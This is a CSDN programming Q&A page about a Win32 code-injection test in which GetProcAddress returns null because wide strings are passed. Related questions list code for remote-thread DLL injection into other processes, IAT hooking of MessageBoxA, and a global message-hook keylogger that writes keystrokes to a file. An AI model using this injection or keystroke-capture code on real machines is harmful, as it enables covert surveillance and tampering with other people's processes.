win32API GetProcAddress() 返回了null,但是找不到问题所在?

我的代码如下

 #include<stdio.h>
    #include<stdlib.h>
    #include<windows.h>
    #include<TlHelp32.h>


    typedef struct 
    {
    FARPROC farproc[2];
    wchar_t wRemoteBuffer[5][60];              //3rd is "kernel32.dll",4th is "CreateFile",5th is "WriteFile"
    }THREAD_PARAM;


    typedef HMODULE (WINAPI *PFNLIBRARY)(LPCSTR lpLibraryName);  //get the address of LoadLibrary() function

    typedef FARPROC (WINAPI *PFNGETADDRESS)(HMODULE hModule,LPCSTR lpProcName);    //get the address of GetProcAddress()  function

    typedef HANDLE  (WINAPI *PFNCREATEFILE)(LPCWSTR lpFileName,DWORD dwDesiredAccess,DWORD dwSharedMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationFlags,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile);     //get the address of CreateFile() function

    typedef BOOL (WINAPI *PFNWRITEFILE)(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWrite,LPOVERLAPPED lpOverlapped);      //get the address of WriteFile() function


    void WINAPI create(THREAD_PARAM ta)                  
    {
    HMODULE hModule=((PFNLIBRARY)ta.farproc[0])((LPCSTR)ta.wRemoteBuffer[2]);

    PFNCREATEFILE pfnCreateFile=(PFNCREATEFILE)((PFNGETADDRESS)ta.farproc[1])(hModule,(LPCSTR)ta.wRemoteBuffer[3]);       



    PFNWRITEFILE pfnWriteFile=(PFNWRITEFILE)((PFNGETADDRESS)ta.farproc[1])(hModule,(LPCSTR)ta.wRemoteBuffer[4]);

    LPCWSTR lpFileName=ta.wRemoteBuffer[0];

    HANDLE hFile=pfnCreateFile(lpFileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_ALWAYS,NULL,NULL);


    LPCWSTR lpBuffer=ta.wRemoteBuffer[1];


    //这里有2行代码,但是在提问这里变红色了,我还是把这2行代码截图发出来,图片下面的代码是紧接着图片的2行代码的

图片说明

 }

    int main()
    {
    HMODULE hMod=GetModuleHandle(L"kernel32.dll");
    THREAD_PARAM ta;
    ta.farproc[0]=GetProcAddress(hMod,"LoadLibraryW");
    ta.farproc[1]=GetProcAddress(hMod,"GetProcAddress");
    wcscpy_s(ta.wRemoteBuffer[0],L"C:\\CodeInjectTest.txt");
    wcscpy_s(ta.wRemoteBuffer[1],L"if you see this file,then the CodeInjectTest has succeeded\n");
    wcscpy_s(ta.wRemoteBuffer[2],L"kernel32.dll");
    wcscpy_s(ta.wRemoteBuffer[3],L"CreateFileW");        //here may be error ,about the address of createfile
    wcscpy_s(ta.wRemoteBuffer[4],L"WriteFile");


    create(ta);

    system("PAUSE");
    return 1;
    }

在create()函数的这行代码中

  PFNCREATEFILE pfnCreateFile=(PFNCREATEFILE)((PFNGETADDRESS)ta.farproc[1])(hModule,(LPCSTR)ta.wRemoteBuffer[3]); 

这里返回了null,在ollydbg中查看,这句中的ta.farproc[1]就是GetProcAddress的入口地址,其传入的参数也是和预想中的相符,但是执行完这个call 指令,返回之后,EAX的值为0x0,这意味着返回值为null,不知哪里出错了,求大神指点

1个回答

GetProcAddress接受的是const char*,不是wchar_t*

freedom_wings4
freedom_wings4 需要const char *,而不是wchar_t*,确实是这个原因导致出错。但是出错的地方不止GetProcAddress
3 年多之前 回复
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
GetProcAddress 返回 NULL, 错误代码 127

# 本问题作废,错误: if (hinstLib = NULL) ------------ 源程序改自 《程序员的自我修养:链接、装载与库》 第1版 第9 章 编译环境 VS2017/Win SDK 10.0. # 问题概要 DLL动态库,LoadLibrary() 成功, GetProcAddress()失败, GetLastError()返回127. 但是 dumpbin 能够找到所需要的符号. 请问如何改可以正确执行 # 详细描述 ## 动态库 Math.dll 代码 Math.c ``` __declspec(dllexport) double Add(double a, double b) { return a + b; } ``` 生成 DLL ``` cl /LDd Math.c ``` 查看导出结果 ``` dumpbin /EXPORTS Math.dll ... ordinal hint RVA name 1 0 00001000 Add ... ``` ## 主程序调用 程序代码 main.c ``` #include <windows.h> #include <stdio.h> typedef double (*Func)(double, double); int main(int argc, char **argv) { Func function; double result; // Load DLL. HINSTANCE hinstLib = LoadLibrary("Math.dll"); if (hinstLib = NULL) { printf("ERROR: unable to load DLL\n"); return 1; } // Get function address. function = (Func)GetProcAddress(hinstLib, "Add"); if (function == NULL) { printf("ERROR: unable to find DLL function, " "GetLastError() returns %d.\n", GetLastError()); FreeLibrary(hinstLib); return 1; } // Call function. result = function(1.0, 2.0); // Unload DLL file. FreeLibrary(hinstLib); // Display result. printf("Result = %f\n", result); return 0; } ``` 编译链接 ``` cl main.c ``` 运行 ``` ERROR: unable to find DLL function, GetLastError() returns 127. ```

VS2008 C# winform 64位程序动态调用VC++ 64位DLL LoadLibrary成功 但是GetProcAddress返回值为0

如果通过 Vs MFC 中调用这个64DLL 用同样的方式动态调用获取函数地址成功,就不知道C#里面为什么返回0。通过Marshal返回值为126. 64DLL是 通过VC6.0建立的程序然后用vs2010自动转换的然后编译生成的64位的DLL.2008建的也不行

CreateRemoteThread返回非零值,WIN7 64位注入dll到explorer失败

2298为explorer的PID DLL为64位 ,process explorer查看不到explorer中有此DLL模块 // TODO: 在此添加控件通知处理程序代码 //This dll path should be relative to the target process or an absolute path char* dll = "D:\\ggg\\TEST_TrayClock\\x64\Debug\\TrayClockDll.dll"; //We need a handle to the process we will be injecting into HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2298); //Create the space needed for the dll we are going to be injecting LPVOID lpSpace = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(dll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //Write inject.dll to memory of process int n = WriteProcessMemory(hProcess, lpSpace, dll, strlen(dll), NULL); HMODULE hModule = GetModuleHandle(L"kernel32.dll"); LPVOID lpBaseAddress = (LPVOID)GetProcAddress(hModule,"LoadLibraryA"); //Create Remote Thread using the address to LoadLibraryA and the space for the DLL HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, NULL, NULL); MessageBox(L"Inject"); //CDialogEx::OnOK();

WIN32汇编里如何把浮点数输出?

到网上找到的解答说用msvcrt.dll里的sprintf函数,可是我试了一下发现数据总是0.000000 下面是源码: .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc includelib user32.lib include kernel32.inc includelib kernel32.lib include msvcrt.inc includelib msvcrt.lib _procvar typedef proto C :dword,:VARARG procvar typedef ptr _procvar .data szshowvalue db 'the div result is %f',0 szdllname db 'msvcrt.dll',0 szsprintf db 'sprintf',0 .data? dwbuf dd ? hdllinstance dd ? _wsprintf procvar ? .code main proc local @szbuf[100h]:byte invoke RtlZeroMemory,addr @szbuf,100h mov dwbuf,255 ;//测试数据 fild dwbuf mov dwbuf,4096 ;//测试数据 fild dwbuf fdivp st(1),st fstp dwbuf invoke LoadLibrary,offset szdllname .if !eax ret .else mov hdllinstance,eax .endif invoke GetProcAddress,hdllinstance,offset szsprintf mov _wsprintf,eax invoke _wsprintf,addr @szbuf,offset szshowvalue,dwbuf invoke MessageBox,NULL,addr @szbuf,NULL,MB_OK ret main endp start: call main invoke ExitProcess,NULL end start 我是哪儿搞错了?

C# 中dllimport找不到路径问题 求高手指导!

用了一个第三方的dll库,结果总是报错说找不到dll路径,把路径改成绝对路径也不行 ![图片说明](https://img-ask.csdn.net/upload/201712/23/1513995938_571358.png) ![图片说明](https://img-ask.csdn.net/upload/201712/23/1513995946_831497.png) ![图片说明](https://img-ask.csdn.net/upload/201712/23/1513996047_721460.png) dll已经添加进工程 ![图片说明](https://img-ask.csdn.net/upload/201712/23/1513995961_172722.png)

m_SerialNumber是NULL,求解

typedef char* (WINAPI* FGetSerialNumber)(int); void GetDiskSerial() { char* m_SerialNumber ; //CString m_SerialNumber =""; //CString m_DriveNumber; //m_DriveNumber = "0"; int iDrive = atoi("0"); FGetSerialNumber GetSerialNumber; HMODULE DllInst; DllInst=NULL; if (DllInst == NULL) { //DllInst = LoadLibrary(TEXT("GetDiskSerial.dll")); DllInst = LoadLibrary("GetDiskSerial.dll"); } if (DllInst) { GetSerialNumber = (FGetSerialNumber)GetProcAddress(DllInst,"GetSerialNumber"); m_SerialNumber = GetSerialNumber(iDrive); printf("\n\t\t磁盘物理序列号: %s ",*m_SerialNumber); } else { printf("\n\t\t GetDiskSerial.dll 不存在!"); } }

关于Win32核心编程中DLL注入后无反应的解决办法

#include<stdio.h> #include<windows.h> HINSTANCE hProcess; PWSTR pszLibFileRemote; HINSTANCE hThread; void StartInject(int ProcessID, char * DllName); void OverInject(char * DllName); void EnableDebugPrivilege(HANDLE processHandle); int main(int argc, char* argv[]) { int processid = 0; char DllName[50] = "Win32DLL.dll"; while (1) { //ZeroMemory(DllName, sizeof(DllName)); printf("please input the process id:\n"); scanf("%d", &processid); EnableDebugPrivilege(GetCurrentThread()); StartInject(processid, DllName); OverInject(DllName); } return 0; } void StartInject(int ProcessID, char * DllName) { //打开进程,申请访问; hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessID); if (hProcess == NULL) { printf("进程不允许访问!"); getchar(); exit(0); } int cch = 1 + lstrlenW(DllName); int cb = cch * sizeof(WCHAR); pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);//为DllName在远程线程空间分配内存; if (pszLibFileRemote == NULL) { printf("在远程线程空间为DllName分配内存失败!"); getchar(); exit(0); } if (!WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)DllName, cb, NULL)) { printf("在拷贝DllName到远程线程内存地址空间时失败!"); getchar(); exit(0); } /*得到LoadLibraryW在内核(kernel32.dll中的地址)*/ PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); if (pfnThreadRtn == NULL) { printf("在得到函数地址时出现错误:\n函数名:LoadLibraryW(加载动态链接库)"); getchar(); exit(0); } hThread = CreateRemoteThread(hProcess, NULL, 0,pfnThreadRtn, pszLibFileRemote, 0, NULL); if (hThread == NULL) { printf("创建远程线程失败,错误代码:%d",GetLastError()); getchar(); exit(0); } } void OverInject(char * DllName) { if (DllName != NULL) VirtualFreeEx(hProcess, DllName, 0, MEM_RELEASE); if (hThread != NULL) CloseHandle(hThread); if (hProcess != NULL) CloseHandle(hProcess); } void EnableDebugPrivilege(HANDLE processHandle) { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(processHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { printf("OpenProcessToken"); return; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { printf("LookupPrivilegeValue"); CloseHandle(hToken); return; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) { printf("AdjustTokenPrivileges"); CloseHandle(hToken); } } 然后DLL中是这样的: #include<stdio.h> #include<windows.h> int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: //The DLL is being mapped into the process's address space. MessageBoxW(NULL, "这是一个确定 取消的消息框!", "标题", MB_OKCANCEL); break; case DLL_THREAD_ATTACH: //A thread is being created. break; case DLL_THREAD_DETACH: //A thread is exiting cleanly. break; case DLL_PROCESS_DETACH: //The DLL is being unmapped from the process's address space. break; } /*MessageBoxW(NULL, "这是一个确定 取消的消息框!", "标题", MB_OKCANCEL);*/ return(TRUE); // Used only for DLL_PROCESS_ATTACH }

关于远程线程加载dll释放的问题

有下面的代码: ''' EnablePrivilege(SE_DEBUG_NAME, TRUE); hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); char buff[] = "Win32Project2.dll"; PSTR chRemote = NULL; chRemote = (PSTR)VirtualAllocEx(hprocess, NULL, lstrlen(buff) + 1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hprocess, (PVOID)chRemote, (PVOID)buff, lstrlen(buff) + 1, NULL); PTHREAD_START_ROUTINE rThread, r2; rThread = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), TEXT("LoadLibraryA")); HANDLE hThread = NULL, h2 = NULL; hThread = CreateRemoteThread(hprocess, NULL, 0, rThread, (PVOID)chRemote, 0, NULL); WaitForSingleObject(hThread, INFINITE); DWORD hdll=0; GetExitCodeThread(hThread, &hdll); r2 = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), TEXT("FreeLibrary")); h2 = CreateRemoteThread(hprocess, NULL, 0, r2, (PVOID)hdll, 0, NULL); WaitForSingleObject(h2, INFINITE); VirtualFreeEx(hprocess, (PVOID)chRemote, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hprocess); CloseHandle(h2); ''' 以上代码在win7 32位下可以正常加载Win32Project2.dll到explorer.exe,之后也可以正常卸载,不过在win8.1 64位下选择x64平台编译运行之后,可以正常加载dll,但FreeLibrary失败,无法卸载dll,这是什么原因??

进行dll动态加载的时候用GetProcAddress()函数进行地址传入出现不能初始化问题

![![![图片说明](https://img-ask.csdn.net/upload/201808/20/1534742255_25376.jpg)图片说明](https://img-ask.csdn.net/upload/201808/20/1534742248_625217.jpg)图片说明](https://img-ask.csdn.net/upload/201808/20/1534742230_12146.jpg)

注入DLL后无法找到API并HOOK

按照《WINDOWS核心编程》上的方法想HOOK MessageBoxA函数 我的实现如下 PopMB.exe 按确定键弹出一个MessageBox PushDLL.exe 用来注入DLL ``` bool PushDll(ULONG ID){ //PopMB 的PROCESS ID void* pMemAddr=NULL; HANDLE hProc=NULL,hth=NULL; char DllName[128]; strncpy(DllName,DLLNAME,127); bool bOK=false; __try{ hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,ID); if (hProc==NULL) __leave; UINT size=strlen(DllName)+1; size*=sizeof(char); pMemAddr=VirtualAllocEx(hProc,NULL,size,MEM_COMMIT,PAGE_READWRITE); if (!WriteProcessMemory(hProc,pMemAddr,DllName,size,NULL)) __leave; LPTHREAD_START_ROUTINE pAddr=(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA"); if (pAddr==NULL) __leave; hth=CreateRemoteThread(hProc,NULL,0,pAddr,(LPVOID)pMemAddr,0,NULL); if (hth==NULL) __leave; MessageBox(NULL,"Now WaitForSingleObject","",MB_OK); WaitForSingleObject(hth,INFINITE); bOK=true; } __finally{ MessageBox(NULL,"Finally","",MB_OK); if (pMemAddr!=NULL) VirtualFreeEx(hProc,pMemAddr,0,MEM_RELEASE); if (hProc!=NULL) CloseHandle(hProc); if (hth!=NULL) CloseHandle(hth); } return bOK; } ``` MB HOOK.DLL 用来HOOK MessageBoxA函数 ``` // stdafx.h #include <windows.h> #include <windowsx.h> #include <stdlib.h> #include <conio.h> #include <ImageHlp.h> #include <string.h> #include <stdio.h> #pragma comment (lib,"ImageHlp") // TODO: reference additional headers your program requires here //MessageBoxA //#define EXE_NAME "E:\\desk\\PushDLL\\Debug\\PopMB.exe" WINUSERAPI int WINAPI MyMessageBox(HWND hWnd ,LPCSTR lpText,LPCSTR lpCaption,UINT uType); typedef int (WINAPI* OldMessageBox)( HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType ) ; //WINBASEAPI VOID WINAPI MyExitProcess(UINT uExitCode); //typedef VOID (WINAPI* OldExitProcess)(UINT uExitCode); bool HookAPI(const char *DllName,PROC OldAddr,PROC NewAddr,HMODULE ExeHandle); bool HookDLL(void); /////////////end///////// //stdafx.cpp #include "stdafx.h" PROC OldAddr; int WINAPI MyMessageBox(HWND hWnd ,LPCSTR lpText,LPCSTR lpCaption,UINT uType){ OldMessageBox pMB=(OldMessageBox)OldAddr; int ret=pMB(hWnd,lpText,lpCaption,uType); char S[16]="\0"; sprintf(S,"%d",ret); pMB(NULL,S,"Return Value",MB_ICONWARNING|MB_OK); return ret; } bool HookDLL(void){ OldAddr=GetProcAddress(GetModuleHandle("user32.dll"),"MessageBoxA"); if (OldAddr==NULL) return false; char S[128]; sprintf(S,"%p",OldAddr); MessageBox(NULL,"GetProcAddress succeed","",MB_OK); MessageBox(NULL,S,"",MB_OK|MB_ICONWARNING); HMODULE ExeHandle=GetModuleHandle(NULL); if (ExeHandle==NULL) return false; MessageBox(NULL,"GetModuleHandle succeed","",MB_OK); PROC NewAddr=(PROC)MyMessageBox; //PROC NewAddr=(PROC)MyExitProcess; if (NewAddr==NULL) return false; MessageBox(NULL,"get new fun succeed","",MB_OK); return HookAPI("user32.dll",OldAddr,NewAddr,ExeHandle); } bool HookAPI(const char *DllName,PROC OldAddr,PROC NewAddr,HMODULE ExeHandle){ ULONG ulSize=0L; IMAGE_IMPORT_DESCRIPTOR *pID=NULL; __try{ pID=(IMAGE_IMPORT_DESCRIPTOR*)ImageDirectoryEntryToData(ExeHandle,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ulSize); } __except(GetExceptionInformation()){ ; } if (pID==NULL) return false; MessageBox(NULL,"ImageDirectoryEntryToData succeed","",MB_OK); for(;pID->Name;pID++){ char *Name=(char*)((BYTE*)ExeHandle+pID->Name); MessageBox(NULL,Name,"",MB_ICONWARNING|MB_OK); if (stricmp(DllName,Name)==0){ MessageBox(NULL,"DLL has founded","",MB_OK); IMAGE_THUNK_DATA *pThunk=(IMAGE_THUNK_DATA*) ((BYTE*)ExeHandle+pID->FirstThunk); for(;(pThunk->u1.Function)!=NULL;pThunk++){ PROC *pFun=(PROC*)&pThunk->u1.Function; bool bFound=(*pFun==OldAddr)?true:false; if (bFound){ MessageBox(NULL,"function has founded","",MB_OK); if (!WriteProcessMemory(GetCurrentProcess(),pFun,&NewAddr,sizeof(NewAddr),NULL) && (ERROR_NOACCESS==GetLastError())){ DWORD OldPermit; if (VirtualProtect(pFun,sizeof(NewAddr),PAGE_WRITECOPY,&OldPermit)){ WriteProcessMemory(GetCurrentProcess(),pFun,&NewAddr,sizeof(NewAddr),NULL); VirtualProtect(pFun,sizeof(NewAddr),OldPermit,&OldPermit); } } return true; } } } } return false; } ///////end////// //MB_HOOK.cpp #include "stdafx.h" BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch(ul_reason_for_call){ case DLL_PROCESS_ATTACH: MessageBox(NULL,"DLL called","",MB_OK); char S[512]; GetModuleFileName(NULL,S,512); MessageBox(NULL,S,"",MB_OK); MessageBox(NULL,(HookDLL())?"Succeed":"Failed","",MB_OK); break; } return TRUE; } ////////end////////// ``` 问题是,每次成功注入DLL后,每次HookAPI函数只能找到USER32.dll并弹出"DLL has founded",但是就是找不到匹配的MessageBoxA的地址("function has founded"始终不出现)。 Debug Release都试过,改成HOOKKERNEL32.dll里的ExitProcess (《WINDOWS核心编程》上的例子) 也不行。但是如果把DLL中的函数全部复制到一个EXE中且让这个EXE HOOK 自身总能成功。编译器是VC++ 6.0

DLL显式加载后,得到了DLL内的导出函数地址,但是调用的时候出现了0X00000005

如题,DLL加载内内存都没有问题,调用GetProcAddress也返回了正常的地址,但是偏偏调用时就出错了,请问如果是DLL加壳或者内部有算法会导致这样的问题吗? strcpy_s(macRountineName,sizeof(macRountineName),"fnRequestOperation"); if (hinstLib == NULL) hinstLib = LoadLibrary(TConvert::StrToTStr(mLibraryName).c_str()); if (hinstLib != NULL) { SpoGetKey = (REQPROC)GetProcAddress(hinstLib,macRountineName); } hSecurity = SpoGetKey(lMus_Seed, wAlgorithm, &lMus_Key, wCkSum); 大致代码如上,我单步调试到hSecurity的时候,该值为0x00000005 Aceess is denied 请问这是什么问题啊?求大神,我都查了两天了。

win32 sdk钩子函数问题,请大家解决

安装钩子函数不能成功?为什么 我在网上找了,但是没找到解决方法,是我弄错了吗 加载动态链接库能成功,可是安装钩子不能成功?? 这是头文件 hookdll.h ``` #ifndef HOOKDLL_H #define HOOKDLL_H extern "C" bool _declspec(dllexport)EndHook(void); extern "C" bool _declspec(dllexport)StartHook(void); #endif ``` 这是动态链接库文件hookdll.cpp ``` #include "hookdll.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> //#include "hookdll.h" #define MAX 256 #define FILE "c:\\text.txt" HHOOK kg_hHook; HINSTANCE hInstance; bool DataToFile(char* p){ DWORD dWrite = 0; HANDLE hFile = CreateFile(FILE,GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if(hFile == INVALID_HANDLE_VALUE){ printf("CreateFile failed: %d\n",GetLastError()); return false; } if(SetFilePointer(hFile,0,0,FILE_END) == HFILE_ERROR){ printf("SetFilePointer failed: %d\n",GetLastError()); return false; } if(WriteFile(hFile,p,strlen(p),&dWrite,0) == 0){ printf("WriteFile failed: %d\n",GetLastError()); return false; } CloseHandle(hFile); return true; } LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam){ if(nCode < 0) return CallNextHookEx(kg_hHook,nCode,wParam,lParam); if(nCode == HC_ACTION){ MSG* pEventMsg = (MSG*)lParam; if(pEventMsg->message == WM_KEYDOWN){ int vKey = pEventMsg->wParam; char ch; char Buff[10]; memset(Buff,0x00,10); const int keyMask = 0x80000000; int iShift = GetKeyState(0x10); int iCapital = GetKeyState(0x14); int iNumLock = GetKeyState(0x96); BOOL bShift = (iShift & keyMask) == keyMask; BOOL bCapital = (iCapital & 1) == 1; BOOL bNumLock = (iNumLock & 1) == 1; if(vKey >= 48 && vKey <= 57){ switch(vKey){ case 48:if(!bShift) ch = '0';else ch = ')';break; case 49:if(!bShift) ch = '1';else ch = '!';break; case 50:if(!bShift) ch = '2';else ch = '@';break; case 51:if(!bShift) ch = '3';else ch = '#';break; case 52:if(!bShift) ch = '4';else ch = '$';break; case 53:if(!bShift) ch = '5';else ch = '%';break; case 54:if(!bShift) ch = '6';else ch = '^';break; case 55:if(!bShift) ch = '7';else ch = '&';break; case 56:if(!bShift) ch = '8';else ch = '*';break; case 57:if(!bShift) ch = '9';else ch = '(';break; } Buff[0] = ch; DataToFile(Buff); } if(vKey >= 65 && vKey <= 90){ if(!bCapital){ if(bShift) ch = vKey; else ch = vKey + 32; } else{ if(bShift) ch = vKey + 32; else ch = vKey; } Buff[0] = ch; DataToFile(Buff); } if(vKey >= 96 && vKey <= 105){ if(bNumLock){ switch(vKey){ case 96: ch = '0';break; case 97: ch = '1';break; case 98: ch = '2';break; case 99: ch = '3';break; case 100:ch = '4';break; case 101:ch = '5';break; case 102:ch = '6';break; case 103:ch = '7';break; case 104:ch = '8';break; case 105:ch = '9';break; } Buff[0] = ch; DataToFile(Buff); } } if(vKey >= 106 && vKey <= 222){ switch(vKey){ case 186:if(!bShift) ch = ';';else ch = ':';break; case 187:if(!bShift) ch = '=';else ch = '+';break; case 188:if(!bShift) ch = ',';else ch = '<';break; case 189:if(!bShift) ch = '-';else ch = '_';break; case 190:if(!bShift) ch = '.';else ch = '>';break; case 191:if(!bShift) ch = '/';else ch = '?';break; case 192:if(!bShift) ch = '`';else ch = '~';break; case 219:if(!bShift) ch = '[';else ch = '{';break; case 220:if(!bShift) ch = '\\';else ch = '|';break; case 221:if(!bShift) ch = ']';else ch = '}';break; case 222:if(!bShift) ch = '\'';else ch = '\"';break; default: break; } Buff[0] = ch; DataToFile(Buff); } switch(vKey){ case 8: strcpy(Buff,"[BK]"); DataToFile(Buff); break; case 13: strcpy(Buff,"[enter]"); DataToFile(Buff); break; default: break; } } } return CallNextHookEx(kg_hHook,nCode,wParam,lParam); } bool StartHook(void){ if(kg_hHook) return false; kg_hHook = SetWindowsHookEx(WH_GETMESSAGE,KeyHookProc,hInstance,NULL); if(kg_hHook) return true; return false; } bool EndHook(void){ if(!kg_hHook) return false; if(UnhookWindowsHookEx(kg_hHook)) return true; return false; } DWORD WINAPI DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpResvered){ hInstance = (HINSTANCE)hModule; switch(ul_reason_for_call){ case DLL_PROCESS_ATTACH: printf("DLL_PROCESS_ATTACH\n"); break; case DLL_PROCESS_DETACH: if(!kg_hHook) UnhookWindowsHookEx(kg_hHook); printf("DLL_PROCESS_DETACH\n"); break; case DLL_THREAD_ATTACH: printf("dll_thread_attach\n"); break; case DLL_THREAD_DETACH: if(!kg_hHook) UnhookWindowsHookEx(kg_hHook); printf("dll_thread_detach\n"); break; default: break; } return true; } ``` 这是调用文件 ``` #include <stdio.h> #include <stdlib.h> #include <windows.h> typedef bool(*starthook)(void); int main(void){ HINSTANCE hDll = LoadLibrary("hookdll.dll"); starthook startHook; if(hDll) startHook = (starthook)GetProcAddress(hDll,"StartHook"); else printf("error\n"); if(!startHook) printf("errpr\n"); else startHook(); return 0; } ``` 困扰了我好久。。。请大家解决

为什么用getprocaddress中看到的导入表地址和用windbg看到的会不一样

为什么用getprocaddress中看到的导入表地址和用windbg看到的会不一样呢?请问dll的导入表地址怎么获取?

获取DLL文件函数指针......

直接用函数名不能获取地址 .... .... typedef void(*Fun)(); Fun P=(Fun)GetProcAddress(P,"print"); //此处无法获取 Fun P=(Fun)GetProcAddress(P,MAKEINTRESOURCE(1));//却可以 MAKEINTRESOURCE这应该是dll文件里面的函数列表 第一个函数就是“print”第二函数print2就是MAKEINTRESOURCE(2); ..... ..... 那么问题就是 第一种方式为啥不行???????????(字符集是多字节字符集)

画一个无标题栏无边框的窗口

窗口是用gdi+画的 打算是想实现一种想安全卫士之类的窗口 没有默认的标题栏和边框的 现在的情况是 按钮被挡住了 画不出来? 代码: // WinCreate.cpp : Defines the entry point for the application. // #include <windows.h> #include <comdef.h>//初始化一下com口 #ifndef ULONG_PTR #define ULONG_PTR unsigned long* #include "GdiPlus.h" using namespace Gdiplus; #pragma comment(lib, "gdiplus.lib") #endif #include <wingdi.h> //用于接收应用程序实例句柄 HINSTANCE g_hInstance = 0; GdiplusStartupInput m_gdiplusStartupInput; ULONG_PTR m_pGdiToken; void OnCreate(HWND hWnd) { CreateWindowEx( 0, "BUTTON", "OK", WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|BS_OWNERDRAW, 0, 0, 50, 30, hWnd, (HMENU)1000, g_hInstance, NULL ); } //窗口处理函数(用于处理消息) LRESULT CALLBACK WndProc(HWND hWnd,UINT nMsg, WPARAM wParam, LPARAM lParam) { switch(nMsg) { case WM_CREATE: { GdiplusStartupInput m_gdiplusStartupInput; ULONG_PTR m_pGdiToken; Gdiplus::GdiplusStartupInput gdiplusStartupInput; Gdiplus::GdiplusStartup(&m_pGdiToken, &m_gdiplusStartupInput, NULL); BLENDFUNCTION m_Blend; HDC m_hdcMemory; //初始化GDI+. m_Blend.BlendOp=0; m_Blend.BlendFlags=0; m_Blend.AlphaFormat=1; m_Blend.SourceConstantAlpha=255; //窗体样式为0x80000为层级窗体 DWORD dwExStyle=GetWindowLong(hWnd,GWL_EXSTYLE); SetWindowLong(hWnd,GWL_EXSTYLE,dwExStyle|0x80000); //绘制内存位图 HDC hdcTemp=GetDC(hWnd); m_hdcMemory=CreateCompatibleDC(hdcTemp); HBITMAP hBitMap=CreateCompatibleBitmap(hdcTemp,417,128); SelectObject(m_hdcMemory,hBitMap); //使用GDI+载入PNG图片 HDC hdcScreen=::GetDC (hWnd); RECT rct={0,0}; ::GetWindowRect(hWnd,&rct); POINT ptWinPos={rct.left,rct.top}; Graphics graph(m_hdcMemory); Image image(L"2.png",TRUE); graph.DrawImage(&image,0,0,417,128); //使用UpdateLayerWindow进行窗口透明处理 HMODULE hFuncInst=LoadLibrary("User32.DLL"); typedef BOOL (WINAPI *MYFUNC)(HWND,HDC,POINT*,SIZE*,HDC,POINT*,COLORREF,BLENDFUNCTION*,DWORD); MYFUNC UpdateLayeredWindow; UpdateLayeredWindow=(MYFUNC)GetProcAddress(hFuncInst,"UpdateLayeredWindow"); SIZE sizeWindow={417,128}; POINT ptSrc={0,0}; UpdateLayeredWindow( hWnd,hdcScreen,&ptWinPos,&sizeWindow,m_hdcMemory,&ptSrc,0,&m_Blend,2); LONG nOldStyle = ::GetWindowLong (hWnd, GWL_STYLE); ::SetWindowLong (hWnd, GWL_STYLE, nOldStyle & ~WS_CAPTION); ::SetWindowPos (hWnd, HWND_TOPMOST, 100,100, 417,128, SWP_SHOWWINDOW); DeleteObject(m_hdcMemory); DeleteObject(hBitMap); } break; case WM_DESTROY: GdiplusShutdown(m_pGdiToken); PostQuitMessage(0); break; } return DefWindowProc(hWnd, nMsg, wParam, lParam); } //注册窗口类 BOOL Register(LPSTR lpClassName, WNDPROC wndProc) { WNDCLASSEX wce = {0}; wce.cbSize = sizeof(wce); wce.cbClsExtra = 0; wce.cbWndExtra = 0; wce.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wce.hCursor = NULL; wce.hIcon = NULL; wce.hIconSm = NULL; wce.hInstance = g_hInstance; wce.lpfnWndProc = wndProc; wce.lpszClassName = lpClassName; wce.lpszMenuName = NULL; wce.style = CS_HREDRAW | CS_VREDRAW; ATOM nAtom = RegisterClassEx(&wce); if(nAtom == 0) return FALSE; return TRUE; } //创建主窗口 HWND CreateMain(LPSTR lpClassName, LPSTR 